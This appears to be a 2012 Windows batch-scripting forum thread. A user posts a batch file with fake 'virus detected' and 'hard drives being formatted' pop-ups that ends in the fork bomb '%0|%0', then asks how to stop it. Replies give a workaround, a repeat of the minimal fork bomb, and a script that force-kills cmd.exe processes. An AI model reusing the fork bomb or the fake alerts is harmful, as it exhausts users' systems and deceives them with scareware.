Page 1 of 1

Kill a batch process

Posted: 29 Jun 2012 16:08
by BennyTheWah
I have created a (pretty) harmless batch file that forks and uses up processor time and page files.
The code is this:

Code: Select all

@echo off
start iexplore.exe
start calc.exe
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * Please wait ...........
msg * Hard drive formatting failed
%0|%0


Unfortunately, I haven't got a way to get rid of it, if I go to task manager and kill cmd.exe and all other related processes, it still continues to work. Is there a way to kill the batch file, ideally with another batch file?

Re: Kill a batch process

Posted: 29 Jun 2012 16:33
by einstein1969
This is not the solution , but in emergency cases works:

1) Open the file batch
2) On first line write: "Goto :eof"
3) save.

If you can do these operation you stop the fork processes "manually".

If you want a method for kill/suspend with more speed of this fork bomb you can try to start a process with higher priority that kill every istances of this "fork bomb like/wabbit/rabbit".

Re: Kill a batch process

Posted: 29 Jun 2012 17:43
by Ed Dyreen
'
Ok you got me, just couldn't believe such simple code could be that evil. :evil: :twisted: :lol:

'cmdProcess.CMD'

Code: Select all

@echo off

pause

%0|%0
'anti-cmdProcess'

Code: Select all

@echo off &(title %~n0)
:: (
     echo. &echo. attemting to terminate any other instances of 'cmd.EXE'...
     :: (
          start "%~n0" /realTime "%comspec%" /c taskKill /t /f /fi "windowTitle ne %~n0*" /im "cmd.EXE"
     :: )

     echo. &echo. attemting to overwrite 'cmdProcess.CMD'...
     :: (
          > "cmdProcess.CMD" type nul
     :: )

     echo. &echo. verifying results...
     :: (
          2>nul taskList /fi "windowTitle ne %~n0*" /fi "imageName eq cmd.EXE" |find /i "cmd.EXE" &&(

               start "%~n0" /realTime "%comspec%" /c "%~f0" &exit 1
          )
     :: )
:: )
exit 0